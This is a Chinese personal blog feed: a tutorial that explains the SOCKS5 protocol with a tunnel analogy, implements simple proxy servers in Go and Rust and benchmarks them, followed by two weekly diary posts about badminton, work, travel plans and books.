&lt;p&gt;其实我们经常在fq的时候用到socks协议，但对于其工作原理一直没有很清晰，趁着周末捋了一下&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;首先什么是网络隧道？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;各种百科上给出的定义整理如下：&lt;/p&gt;
&lt;p&gt;网络隧道是在现有的网络协议之上建立的一个新的虚拟网络连接。通过在一个网络协议中封装另一个网络协议的数据包，从而实现数据在不同网络之间的传输。这种方式可以将数据在公共网络（例如互联网）上的传输与私有网络或其他网络保持隔离，从而提高数据传输的安全性。&lt;/p&gt;
&lt;p&gt;但是这个定义太难理解，于是我开始思考为什么要叫隧道呢？&lt;/p&gt;
&lt;p&gt;类比我们日常中见到的隧道，比如火车山谷隧道，点A到点B有一座大山，于是挖了一条A到B的隧道，这条隧道可以允许火车等车辆通过&lt;/p&gt;
&lt;p&gt;那么类比到网络协议中，点A到点B由于某种原因无法直接通信（原因dddd），于是我们在A和B之间打一条隧道（socks5协议），然后把我们的火车（HTTP数据，毕竟我们上网也就是HTTP通信）从这条隧道传输过去&lt;/p&gt;
&lt;p&gt;这样是不是就很容易理解socks网络隧道了！我真是个小机灵鬼&lt;/p&gt;
&lt;p&gt;类似的在安全渗透中还有一种HTTP隧道，即将利用HTTP协议的某些特性（如chunked），建立一条HTTP隧道，传输HTTP通信数据（禁止套娃/doge) ，不过这是后话了，本文只研究socks网络隧道&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreidhmwcilj65gxilxqcpyfr6hbswcguykr6vqpqypzx563y2jixmpi.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;从上述的类比中可以看到，&lt;strong&gt;socks网络隧道建立的条件如下：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;目的地，即socks代理需要连接的目标&lt;/li&gt;
&lt;li&gt;施工队 即socks代理服务器&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;也就是说，客户端A需要有一个施工队，并且告诉施工队我要去哪，施工队才会给你挖一条隧道&lt;/p&gt;
&lt;p&gt;最后放一个socks5隧道的定义吧，类比过来是不是觉得好理解多了&lt;/p&gt;
&lt;p&gt;SOCKS5 隧道是一种网络协议隧道，用于在客户端和目标服务器之间传输数据。SOCKS5 是 SOCKS 协议的第五个版本，它支持多种身份验证方法，以及 IPv4 和 IPv6 地址。SOCKS5 隧道允许在其上运行各种协议（如 HTTP、FTP、SMTP 等），并在客户端和目标服务器之间提供中间代理服务。&lt;/p&gt;
&lt;p&gt;SOCKS5 隧道的工作原理是在客户端和目标服务器之间建立一个代理服务器。客户端不直接与目标服务器通信，而是将数据发送到 SOCKS5 代理。SOCKS5 代理接收数据，然后将其转发到目标服务器。目标服务器将响应发送回 SOCKS5 代理，代理再将响应转发给客户端。&lt;/p&gt;
&lt;p&gt;SOCKS5 隧道的主要优点是提供了一种通用的网络代理解决方案，支持多种协议和地址类型。这使得 SOCKS5 隧道可以用于绕过防火墙和内容过滤器，实现对受限网络资源的访问。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;实现一个socks代理服务&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这里我们选择go和rust来对比实现下socks5代理服务器，即隧道的施工队，并且简单对比下性能，看看rust和go在socks5代理这块的性能孰强孰弱&lt;/p&gt;
&lt;p&gt;TCP 代理server实现&lt;/p&gt;
&lt;p&gt;我们先来看看一个通用的TCP的server咋搞，这里是通信数据的传递示意图：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+-----------+       +--------------+       +--------------+
|  Browser  | &amp;lt;---&amp;gt; | TCP Proxy    | &amp;lt;---&amp;gt; | Target Server|
+-----------+       +--------------+       +--------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意，TCP Proxy 本质上只是接收TCP数据并转发处理的，所以实际上socks5的请求发起方是浏览器，这也就是为什么我们通常要安装一个chrome插件（比如proxy switchy omega）来选择代理方式了&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;golang&lt;/code&gt;中，实现一个代理服务器很简单，只需要 &lt;code&gt;net.Listen&lt;/code&gt; 即可开启一个端口，开启端口后的server只需要不断地 &lt;code&gt;Accept&lt;/code&gt; ，每来一个就开一个 &lt;code&gt;goroutine&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreiebmqlggjfcuvbsyjhprnww5vfrk2d4nsizswd4l4643xvff7yd2e.png&quot; alt=&quot;Untitled 1&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func main() {
	server, err := net.Listen(&quot;tcp&quot;, &quot;:1081&quot;)
	if err != nil {
		fmt.Printf(&quot;Listen failed: %v\n&quot;, err)
		return
	}

	for {
		client, err := server.Accept()
		if err != nil {
			fmt.Printf(&quot;Accept failed: %v&quot;, err)
			continue
		}
		go process(client)
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个client中就同时包含了浏览器发送给我们的请求，以及暴露写接口供我们写入响应数据&lt;/p&gt;
&lt;p&gt;对应到rust中，也有一个类似goroutine的实现，tokio，实现异步的IO任务，基本代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[tokio::main]
async fn main() {
    let listener = TcpListener::bind(&quot;127.0.0.1:1080&quot;).await.unwrap();
    loop {
        let (client, _) = listener.accept().await.unwrap();
        spawn(handle_client(client));
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意socks5代理最常用的端口是1080，如果想要在wireshark中抓包查看，wireshark只能解析1080端口的socks5通信&lt;/p&gt;
&lt;p&gt;实现socks5代理&lt;/p&gt;
&lt;p&gt;socks5协议本质上还是个应用层协议，数据会被打包到TCP 数据包的 payload中，sock5协议类比挖隧道可以分为几个部分，&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;socks5auth&lt;/code&gt; 先找到施工队&lt;/li&gt;
&lt;li&gt;&lt;code&gt;socks5connect&lt;/code&gt; 开始挖隧道&lt;/li&gt;
&lt;li&gt;&lt;code&gt;socks5forward&lt;/code&gt; 隧道通车了！&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;socks5forward&lt;/code&gt; 即进入隧道通行阶段，这个阶段已经没有socks5参与了，因为隧道已经挖完了，就让HTTP数据包自由的驰骋吧！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreidb75fc2zvvjlmyaxyohnx66d5czvr2kiq4yvhj4lt3d5kdgohbaq.png&quot; alt=&quot;Untitled 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeibh4ylvhtjv6hiyebsrgnp7znutab37b3yxwwmr5ua3opwre6wu4m.png&quot; alt=&quot;Untitled 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;socks5auth 先找到施工队&lt;/p&gt;
&lt;p&gt;socks5协议是由客户端先发起的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; 客户端发送
+----+----------+----------+
|VER | NMETHODS | METHODS  |
+----+----------+----------+
| 1  |    1     | 1 to 255 |
+----+----------+----------+

 服务器响应
+----+--------+
|VER | METHOD |
+----+--------+
| 1  |   1    |
+----+--------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;具体字段如下：&lt;/p&gt;
&lt;p&gt;客户端请求&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;VER 版本号 1字节&lt;/li&gt;
&lt;li&gt;NMETHODS 可供选的认证方法，1字节&lt;/li&gt;
&lt;li&gt;METHODS (长度等于NMETHODS) 一个字节一个方法&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;服务端返回&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;VER 版本号&lt;/li&gt;
&lt;li&gt;METHOD 认证方法，我们直接无认证梭哈，填0x00&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因此第一步就只需读取请求，然后返回 &lt;code&gt;0x05,0x00&lt;/code&gt; 给客户端表示同意连接&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func Socks5Auth(client net.Conn) (err error) {
	buf := make([]byte, 256)

	// 读取 VER 和 NMETHODS
	n, err := io.ReadFull(client, buf[:2])

	ver, nMethods := int(buf[0]), int(buf[1])

	// 读取 METHODS 列表
	n, err = io.ReadFull(client, buf[:nMethods])

	//无需认证
	n, err = client.Write([]byte{0x05, 0x00})

	return nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同理rust的实现：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;async fn socks5_auth(client: &amp;amp;mut TcpStream) -&amp;gt; Result&amp;lt;(), Box&amp;lt;dyn std::error::Error&amp;gt;&amp;gt; {
    let mut buf = [0u8; 2]; // 初始化为[0,0]
    client.read_exact(&amp;amp;mut buf).await?;
    let ver = buf[0];
    let n_methods = buf[1];

    let mut methods = vec![0u8; n_methods as usize];
    client.read_exact(&amp;amp;mut methods).await?;

    client.write_all(&amp;amp;[0x05, 0x00]).await?;

    Ok(())
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样，socks5协议的第一步，施工队已经找到了，并且告诉客户端我来帮你挖隧道！&lt;/p&gt;
&lt;p&gt;socks5connect 开始挖隧道&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreidh5dssndg7cgvluivaueijl42ou7ghe43zl5av7tw23eawcnp27i.png&quot; alt=&quot;Untitled 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;协议细节如下（数字表示字节长度）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
 客户端发送
+----+-----+-------+------+----------+----------+
|VER | CMD |  RSV  | ATYP | DST.ADDR | DST.PORT |
+----+-----+-------+------+----------+----------+
| 1  |  1  | X&apos;00&apos; |  1   | Variable |    2     |
+----+-----+-------+------+----------+----------+

 服务端响应
+----+-----+-------+------+----------+----------+
|VER | REP |  RSV  | ATYP | BND.ADDR | BND.PORT |
+----+-----+-------+------+----------+----------+
| 1  |  1  | X&apos;00&apos; |  1   | Variable |    2     |
+----+-----+-------+------+----------+----------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;客户端请求：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;VER 版本号 1字节，默认为5&lt;/li&gt;
&lt;li&gt;CMD 0x01 表示连接&lt;/li&gt;
&lt;li&gt;RSV 保留固定位0x00&lt;/li&gt;
&lt;li&gt;ATYP 请求类型，0x01为ipv4，0x03为域名，0x04为ipv6&lt;/li&gt;
&lt;li&gt;DST.ADDR 地址，如果请求为域名，第一个字节为域名长度，否则4字节ipv4地址（ipv6就不管了）&lt;/li&gt;
&lt;li&gt;DST.PORT 端口 2字节&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;服务端响应：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;VER 版本号 1字节，默认为5&lt;/li&gt;
&lt;li&gt;REP 确认回应 0x00 succeed&lt;/li&gt;
&lt;li&gt;RSV 保留，默认0&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;后面几个字段只适用于客户端BIND命令（不是我们用到的connect命令），都传0就行了&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ATYP 响应类型，0x01 表示ipv4，0x03表示域名，0x04表示ipv6&lt;/li&gt;
&lt;li&gt;BND.ADDR 地址&lt;/li&gt;
&lt;li&gt;BND.PORT 端口&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;既然这一步是挖隧道，那就要知道客户端让我们挖通往哪里的隧道，所以这里其实就分成两步&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;解析出客户端发给我们的目的地（按照上述协议解析）&lt;/li&gt;
&lt;li&gt;建立通往目的地的TCP连接&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;客户端 → socks proxy&lt;/p&gt;
&lt;p&gt;socks proxy → 客户端的代码就一行，我写在注释里了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func Socks5Connect(client net.Conn) (net.Conn, error) {
	buf := make([]byte, 256)

	n, err := io.ReadFull(client, buf[:4])

	// 前四个字节
	ver, cmd, _, atyp := buf[0], buf[1], buf[2], buf[3]

	addr := &quot;&quot;
	switch atyp {
	case 1: // 假设只有 第一种ipv4的情况
		n, err = io.ReadFull(client, buf[:4])
		if n != 4 {
			return nil, errors.New(&quot;invalid IPv4: &quot; + err.Error())
		}
		addr = fmt.Sprintf(&quot;%d.%d.%d.%d&quot;, buf[0], buf[1], buf[2], buf[3])
		//  ...

	default:
		return nil, errors.New(&quot;invalid atyp&quot;)
	}

	// 解析端口，注意字节顺序
	n, err = io.ReadFull(client, buf[:2])

	port := binary.BigEndian.Uint16(buf[:2])

	// 得到目的地地址了！
	destAddrPort := fmt.Sprintf(&quot;%s:%d&quot;, addr, port)

	// 开始挖隧道
	dest, err := net.Dial(&quot;tcp&quot;, destAddrPort)

	// 给客户端的响应，隧道已竣工！	
	_, err = client.Write([]byte{0x05, 0x00, 0x00, 0x01, 0, 0, 0, 0, 0, 0})

	return dest, nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同理我们用rust实现&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;async fn socks5_connect(client: &amp;amp;mut TcpStream) -&amp;gt; Result&amp;lt;TcpStream, Box&amp;lt;dyn std::error::Error&amp;gt;&amp;gt; {
    let mut buf = [0u8; 4];
    client.read_exact(&amp;amp;mut buf).await?;

    let ver = buf[0];
    let cmd = buf[1];
    let atyp = buf[3];

    let target_addr = match atyp {
        1 =&amp;gt; {
            let mut addr = [0u8; 4];
            client.read_exact(&amp;amp;mut addr).await?;
            format!(&quot;{}.{}.{}.{}&quot;, addr[0], addr[1], addr[2], addr[3])
        }
   
        _ =&amp;gt; return Err(&quot;Invalid atyp&quot;.into()),
    };

    let mut port_buf = [0u8; 2];
    client.read_exact(&amp;amp;mut port_buf).await?;
    let port = u16::from_be_bytes(port_buf);

		// 开始挖隧道!
    let target = TcpStream::connect(format!(&quot;{}:{}&quot;, target_addr, port)).await?;
		
		// 告诉客户端隧道已竣工!
    client
        .write_all(&amp;amp;[0x05, 0x00, 0x00, 0x01, 0, 0, 0, 0, 0, 0])
        .await?;

    Ok(target)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;socks5forward 隧道通车啦&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreiacakhhpanw6hridhbcxz5hig3pjn7qlivxkrzyu2tszqkms3wmwe.png&quot; alt=&quot;Untitled 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此时我们就要让客户端的client和远端的target建立连接，等于是把这个隧道拼接起来，怎么说有点类似于詹天佑当年开凿京张铁路隧道时所用的两端并进的策略&lt;/p&gt;
&lt;p&gt;在go中，我们直接用 &lt;code&gt;io.Copy&lt;/code&gt; 去实现&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func Socks5Forward(client, target net.Conn) {
	forward := func(src, dest net.Conn) {
		defer src.Close()
		defer dest.Close()
		io.Copy(src, dest)
	}
	go forward(client, target)
	go forward(target, client)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在rust中，也有类似的API，&lt;code&gt;tokio::io::copy&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let (mut cr, mut cw) = client.split();
    let (mut tr, mut tw) = target.split();

    let c_to_t = async {
        match tokio::io::copy(&amp;amp;mut cr, &amp;amp;mut tw).await {
            Ok(_) =&amp;gt; {}
            Err(e) =&amp;gt; {
                eprintln!(&quot;Error forwarding from client to target: {}&quot;, e);
            }
        }
    };

    let t_to_c = async {
        match tokio::io::copy(&amp;amp;mut tr, &amp;amp;mut cw).await {
            Ok(_) =&amp;gt; {}
            Err(e) =&amp;gt; {
                eprintln!(&quot;Error forwarding from target to client: {}&quot;, e);
            }
        }
    };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;至此，一条socks5的网络隧道建立完毕，之后就是HTTP数据包（火车）开始驰骋&lt;/p&gt;
&lt;p&gt;wireshark抓包测试&lt;/p&gt;
&lt;p&gt;前面已提到过，只有socks工作在1080端口时，wireshark才能正确解析出socks协议&lt;/p&gt;
&lt;p&gt;如下图标记处socks的三个过程，具体的数据包细节可自行查看：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeibh4ylvhtjv6hiyebsrgnp7znutab37b3yxwwmr5ua3opwre6wu4m.png&quot; alt=&quot;Untitled 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;压测对比&lt;/p&gt;
&lt;p&gt;这里的压测思路是搞一个http server，然后分别用go和rust实现的socks5 proxy去建立隧道，发起请求，看看实际QPS表现&lt;/p&gt;
&lt;p&gt;为了方便就用gin来搞个http server&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package main



func main() {
	r := gin.Default()
	r.GET(&quot;/ping&quot;, func(c *gin.Context) {
		c.String(200, &quot;pong&quot;)
	})
	r.Run(&quot;:8082&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用这个benchmark工具，可以支持socks5协议&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;go install github.com/cnlh/benchmark@latest
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先测下web server的QPS，m1 mac机器配置比较低，就用100个并发跑10w个请求吧&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;❯ benchmark -c 100 -n 100000 http://127.0.0.1:8082/ping -ignore-err
Running 100000 test @ 127.0.0.1:8082 by 100 connections
Request as following format:

GET /ping HTTP/1.1
Host: 127.0.0.1:8082

100000 requests in 4.45s, 11.46MB read, 4.20MB write
Requests/sec: 22464.38
Transfer/sec: 3.52MB
Error(s)    : 0
Percentage of the requests served within a certain time (ms)
    50%				2
    65%				2
    75%				3
    80%				4
    90%				8
    95%				17
    98%				29
    99%				51
   100%				82
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的数据解释如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;4.45s内总共完成了10w次请求&lt;/li&gt;
&lt;li&gt;平均每秒 22464.38，即QPS为22k&lt;/li&gt;
&lt;li&gt;最后的一段数据给出了不同时间段内请求的百分比，以及这些百分比所对应的响应时间
&lt;ul&gt;
&lt;li&gt;50%的请求响应在2ms内&lt;/li&gt;
&lt;li&gt;99%的请求响应在51ms内&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;接下来有请两个施工队上场，首先是go代表的goroutine，可以看到QPS虽然有所下降，但是下降不多，并且请求耗时分布居然更均匀了？&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;❯ benchmark -c 100 -n 100000 -proxy socks5://127.0.0.1:1080 http://127.0.0.1:8082/ping -ignore-err
Running 100000 test @ 127.0.0.1:8082 by 100 connections
Request as following format:

GET /ping HTTP/1.1
Host: 127.0.0.1:8082

100000 requests in 4.49s, 11.46MB read, 4.20MB write
Requests/sec: 22295.77
Transfer/sec: 3.49MB
Error(s)    : 0
Percentage of the requests served within a certain time (ms)
    50%				2
    65%				3
    75%				4
    80%				4
    90%				7
    95%				14
    98%				25
    99%				35
   100%				63
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来有请rust选手代表的tokio上场，QPS下降了2k左右，并且请求耗时分布差异更大了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;❯ benchmark -c 100 -n 100000 -proxy socks5://127.0.0.1:1080 http://127.0.0.1:8082/ping -ignore-err
Running 100000 test @ 127.0.0.1:8082 by 100 connections
Request as following format:

GET /ping HTTP/1.1
Host: 127.0.0.1:8082

100000 requests in 4.95s, 11.46MB read, 4.20MB write
Requests/sec: 20218.10
Transfer/sec: 3.17MB
Error(s)    : 0
Percentage of the requests served within a certain time (ms)
    50%				3
    65%				4
    75%				4
    80%				5
    90%				7
    95%				13
    98%				25
    99%				34
   100%				92
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看来 goroutine 选手终是更胜一筹
&lt;img src=&quot;./attachments/bafkreidfbniyu2gtx54bvrbm574h6c4mj2pmq3jnlrjs6xyyu2bfv742bq.png&quot; alt=&quot;Untitled 6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;参考：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://segmentfault.com/a/1190000038247560&quot;&gt;https://segmentfault.com/a/1190000038247560&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.moye.me/2017/08/03/analyze-socks5-protocol/&quot;&gt;http://www.moye.me/2017/08/03/analyze-socks5-protocol/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://zgao.top/%E5%A5%87%E5%AE%89%E4%BF%A1%E5%AE%9E%E4%B9%A0%E4%BA%94-socks5%E5%8D%8F%E8%AE%AE%E6%8A%93%E5%8C%85%E5%88%86%E6%9E%90/&quot;&gt;https://zgao.top/奇安信实习五-socks5协议抓包分析/&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报2 清明、羽毛球</title><link>https://rayepeng.net/posts/weekpost2/</link><guid isPermaLink="true">https://rayepeng.net/posts/weekpost2/</guid><pubDate>Sat, 08 Apr 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报2 清明、羽毛球&lt;/p&gt;
&lt;h2&gt;清明&lt;/h2&gt;
&lt;p&gt;这里记录的是raye在2023年，4.1~4.8这段时间的记录与故事。&lt;/p&gt;
&lt;p&gt;清明节放假的时间比较尴尬， 不偏不倚正好在周三。清明时节雨纷纷，这句诗不管历时多久的时光依然会被每个人记诵起。我也没啥地方可去的，和球友约好了早上7点40来公司打球，也是有一点点疯狂。
打了快一个小时，不幸在接一个球后退的过程中摔了，幸好是往后倒的，脚崴的不算很严重，稍微休息了下就能正常走路了，第二天就基本完全恢复了&lt;/p&gt;
&lt;p&gt;开源与ChatGPT&lt;/p&gt;
&lt;p&gt;watchvuln项目提交了一个pr，得到了K师傅的感谢😋&lt;/p&gt;
&lt;p&gt;公司内的开源项目也参与了，先完成了trpc restful 文档的翻译，之后又接了一个英语学习打卡系统的开发，之前也学过一段时间Django，于是开始撸袖子干，说起来这还是我第一次真正的用Django来开发一个项目，遇到的问题很多，准备开个连载记录下来，所幸有chatGPT的帮助，开发和debug都很高效。
与我对接的都是负责项目的产品，他们实际上是不懂技术的，而就算chatGPT帮助你完成开发，对于没有任何计算机背景的人，想要成功运行起来还是难如登天
因此现阶段，chatGPT、GitHub Copilot这些工具都是帮助程序员提效的工具，本质上还是程序的编译运行这些过程太繁琐了，再加上产品自己对需求本身都无法完全说清楚，取代程序员的鬼话暂时可以不用相信了&lt;/p&gt;
&lt;p&gt;泰国之旅规划&lt;/p&gt;
&lt;p&gt;我对泰国的印象源自《斑马》，作者傅真。元旦的时候一口气读完，算是23年读的第一本书了
主要内容为女主人公苏昂前往曼谷做胚胎植入手术所经历的故事，中间夹杂着大量作者借苏昂所传达出的所思所想，我印象最深的是这段话：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeifstqlg3ztatdbznxpbdq4vrrhvvt7gkna7e7v46gi57afgmtgaxm.vnd.mozilla.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;以及一些摘录：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在苏昂看来这正是曼谷的魅力——在这里你可以一次看到好几个不同的世界。霓虹灯与摩天大楼的阴影下隐藏着铁皮贫民窟，五星级酒店的后街塞满了背包客聚集的破旧旅店，高档餐厅与街头大排档各行其是且同样美味，感官享乐与佛教清修格格不入却互不干扰……&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;但它(曼谷)仍像淫荡的灰姑娘那样心无旁骛地奋力向前。它是东南亚唯一从未被欧洲势力殖民的国家，也是东南亚城市中唯一保有秩序和享乐的地方。毋庸置疑，这就是一场不折不扣的交易。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;看完书之后，就萌生出了去曼谷的心思，&lt;/p&gt;
&lt;p&gt;因为4.26就准备和小伙伴们一起去泰国玩了，总共6个人哈哈哈，也开始提前准备一些出国的事项，有几个比较关键的&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;[x] 泰国电话卡，一般淘宝有卖，得提前备好&lt;/li&gt;
&lt;li&gt;[x] 泰铢，汇率一般是1泰铢:0.2人民币，机场兑换会比较坑，国内提前换好&lt;/li&gt;
&lt;li&gt;[] 电子落地签，泰国是可以直接落地签的，但是要排队，我还在纠结要不要折腾电子的&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;句子&lt;/p&gt;
&lt;p&gt;刘慈欣写的最好的地方，是用三维视角对四维空间的全景式描绘，从翘曲的空间如何一点点进入。
是对文明被毁后的详细解剖，像一个残忍的变态狂面带笑容对人类进行肢解。
每每写到这里，他就开始暴走，开始癫狂，好像人类毁灭与他无关。
他从容地直达理性与荒诞的终点，一千万年的时间坐标被他一笔带过，
情人的相约则被鲁莽的摔倒光年的两岸，刚刚建立的致命均衡立刻被无情撕毁——从来没有什么和平与友爱，
从来就没有救世主，每个文明都是森林里的猎手，每一个文明都同样也是猎物——一些读者难免抱怨作者为什么这么冷酷无情，因为在大刘笔下的，常常是超脱一切的冷冰冰的数学视角&lt;/p&gt;
&lt;p&gt;—— 我特别喜欢这段写刘慈欣的话，摘自《南方都市报》，精炼地概括出三体的主要内容，略带夸张的呈现出大刘在科幻小说领域的思考。我还特地仿写了一段写郑渊洁，也记录如下&lt;/p&gt;
&lt;p&gt;郑渊洁写的最好的地方，是他从一个孩童的视角去对成人世界的描绘，从大灰狼、小老鼠等被人嫌恶的角色一点点着笔。
他对人性的最黑暗处进行描绘，像一个最精巧的手术专家对人类的心灵进行剖析，
是对人心的无尽探索，展示出隐藏在笑声背后的深层次思考。
每每写到这里，他就开始失控，开始癫狂，好像人类的喜怒哀乐都与他无关。
他从容地穿越理性与荒诞的边界，将童话世界和现实生活的界限模糊化，
陈旧腐朽的观念被打破，世界的运行规则被一笔带过，展现出一个充满奇幻色彩的世界。
在这个世界里，孩子们学会了勇敢面对困难，感受到友谊的力量，而成人们则在这个童趣的世界中找回了失去的纯真。
一些读者难免抱怨作者为什么这么善于挖掘人性的阴暗面，因为在郑渊洁笔下的，主人公常常是充满智慧与幽默的孩子。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;老子平生，江南江北，最爱临风笛&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;—— 这句写的太狂放了，配得上黄庭坚的风格，也配得上念奴娇这个词牌&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreiakuk7ku2qtsnsjyy5bzzxic5tikrvt764jpjv7ra2f36dz4qskte.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报1  xlog第一篇周报</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A51--xlog%E7%AC%AC%E4%B8%80%E7%AF%87%E5%91%A8%E6%8A%A5/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A51--xlog%E7%AC%AC%E4%B8%80%E7%AF%87%E5%91%A8%E6%8A%A5/</guid><pubDate>Mon, 03 Apr 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;已经决定要开始记录自己的日常了，那就不能轻言放弃 /doge&lt;/p&gt;
&lt;h2&gt;生活&lt;/h2&gt;
&lt;h3&gt;校友聚会&lt;/h3&gt;
&lt;p&gt;大家都很难，没有对比就没有伤害&lt;/p&gt;
&lt;p&gt;昨天(3.26)参加了武大在深圳的校友聚餐，地点是福田的雪乡情。包括我12个人，最老的好像是15级的，最年轻的是18级的。毫无疑问我又是最矮的，感觉越来越在意自己的身高了&lt;/p&gt;
&lt;p&gt;席间自然是聊了很多，印象中有两个是从事保险行业，有两个是在律师行业，本以为大家都会在互联网行业工作，反倒是只有一个小姐姐在阿里做产品经理，本以为能找到一些志趣相投的朋友，没想到大家聊的都是星座、辞职之类的话题，算了我估计之后不会再去此类聚会了。&lt;/p&gt;
&lt;h3&gt;深海 电影&lt;/h3&gt;
&lt;p&gt;我知道，没有下次再见吧，归途的风一直刮&lt;/p&gt;
&lt;p&gt;虽然我今年第一次在电影院看《深海》的时候，在故事的前半段差点睡着了，但这并不影响我认为这部电影是我最近年来最喜欢的一部。&lt;/p&gt;
&lt;p&gt;昨晚又一次回顾了深海结尾的告别曲，太触动我的心灵了。尽管我或许没有抑郁症的经历，但是我相信抑郁症患者的内心，就像梵高的星空，有无数颗星星相伴。&lt;/p&gt;
&lt;p&gt;用五彩斑斓的黑，去直达最深的心灵&lt;/p&gt;
&lt;h2&gt;工作&lt;/h2&gt;
&lt;p&gt;周一永远是我最活力充沛的一天，又一次体会到了在大厂工作的难处。&lt;/p&gt;
